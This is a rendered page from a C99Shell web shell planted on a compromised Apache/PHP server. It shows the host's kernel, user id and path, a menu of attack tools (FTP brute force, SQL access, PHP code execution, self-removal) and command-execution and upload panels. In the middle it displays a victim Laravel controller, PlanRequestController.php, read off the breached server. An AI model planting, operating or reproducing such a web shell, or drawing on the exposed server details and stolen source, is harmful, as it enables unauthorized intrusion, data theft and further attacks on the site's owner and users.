!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Http/Controllers/   drwxrwxr-x
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlanRequestController.php (6.09 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Order;
use 
App\Models\Plan;
use 
App\Models\PlanRequest;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;

class 
PlanRequestController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        if(
Auth::user()->type == 'super admin')
        {
            
$plan_requests PlanRequest::all();

            return 
view('plan_request.index'compact('plan_requests'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/*
     *@plan_id = Plan ID encoded
    */
    
public function requestView($plan_id)
    {
        if(
Auth::user()->type != 'super admin')
        {
            
$planID \Illuminate\Support\Facades\Crypt::decrypt($plan_id);
            
$plan   Plan::find($planID);

            if(!empty(
$plan))
            {
                return 
view('plan_request.show'compact('plan'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Something went wrong.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }


    
/*
     * @plan_id = Plan ID encoded
     * @duration = what duration is selected by user while request
    */
    
public function userRequest($plan_id)
    {
        
$objUser Auth::user();

        if(
$objUser->requested_plan == 0)
        {
            
$planID \Illuminate\Support\Facades\Crypt::decrypt($plan_id);
            if(!empty(
$planID))
            {
                
PlanRequest::create(
                    [
                        
'user_id' => $objUser->id,
                        
'plan_id' => $planID,

                    ]
                );

                
// Update User Table
                
$data                 User::find($objUser->id);
                
$data->requested_plan $planID;
                
$data->update();

                return 
redirect()->back()->with('success'__('Request Send Successfully.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Something went wrong.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('You already send request to another plan.'));
        }
    }

    
/*
     * @id = Project ID
     * @response = 1(accept) or 0(reject)
    */
    
public function acceptRequest($id$response)
    {
        if(
Auth::user()->type == 'super admin')
        {
            
$plan_request PlanRequest::find($id);
            if(!empty(
$plan_request))
            {
                
$user User::find($plan_request->user_id);

                if(
$response == 1)
                {
                    
$user->requested_plan 0;
                    
$user->plan           $plan_request->plan_id;
                    
$user->save();

                    
$plan       Plan::find($plan_request->plan_id);
                    
$assignPlan $user->assignPlan($plan_request->plan_id$plan_request->duration);

                    
$price $plan->price;

                    if(
$assignPlan['is_success'] == true && !empty($plan))
                    {
                        if(!empty(
$user->payment_subscription_id) && $user->payment_subscription_id != '')
                        {
                            try
                            {
                                
$user->cancel_subscription($user->id);
                            }
                            catch(
\Exception $exception)
                            {
                                
\Log::debug($exception->getMessage());
                            }
                        }

                        
$orderID strtoupper(str_replace('.'''uniqid(''true)));
                        
Order::create(
                            [
                                
'order_id' => $orderID,
                                
'name' => null,
                                
'email' => null,
                                
'card_number' => null,
                                
'card_exp_month' => null,
                                
'card_exp_year' => null,
                                
'plan_name' => $plan->name,
                                
'plan_id' => $plan->id,
                                
'price' => $price,
                                
'price_currency' => !empty(env('CURRENCY_CODE')) ? env('CURRENCY_CODE') : 'usd',
                                
'txn_id' => '',
                                
'payment_type' => __('Manually Upgrade By Super Admin'),
                                
'payment_status' => 'succeeded',
                                
'receipt' => null,
                                
'user_id' => $user->id,
                            ]
                        );

                        
$plan_request->delete();

                        return 
redirect()->back()->with('success'__('Plan successfully upgraded.'));
                    }
                    else
                    {
                        return 
redirect()->back()->with('error'__('Plan fail to upgrade.'));
                    }
                }
                else
                {
                    
$user->update(['requested_plan' => '0']);

                    
$plan_request->delete();

                    return 
redirect()->back()->with('success'__('Request Rejected Successfully.'));
                }
            }
            else
            {
                return 
redirect()->back()->with('error'__('Something went wrong.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/*
     * @id = User ID
    */
    
public function cancelRequest($id)
    {

        
$user User::find($id);
        
$user->update(['requested_plan' => '0']);
        
PlanRequest::where('user_id'$id)->delete();

        return 
redirect()->back()->with('success'__('Request Canceled Successfully.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--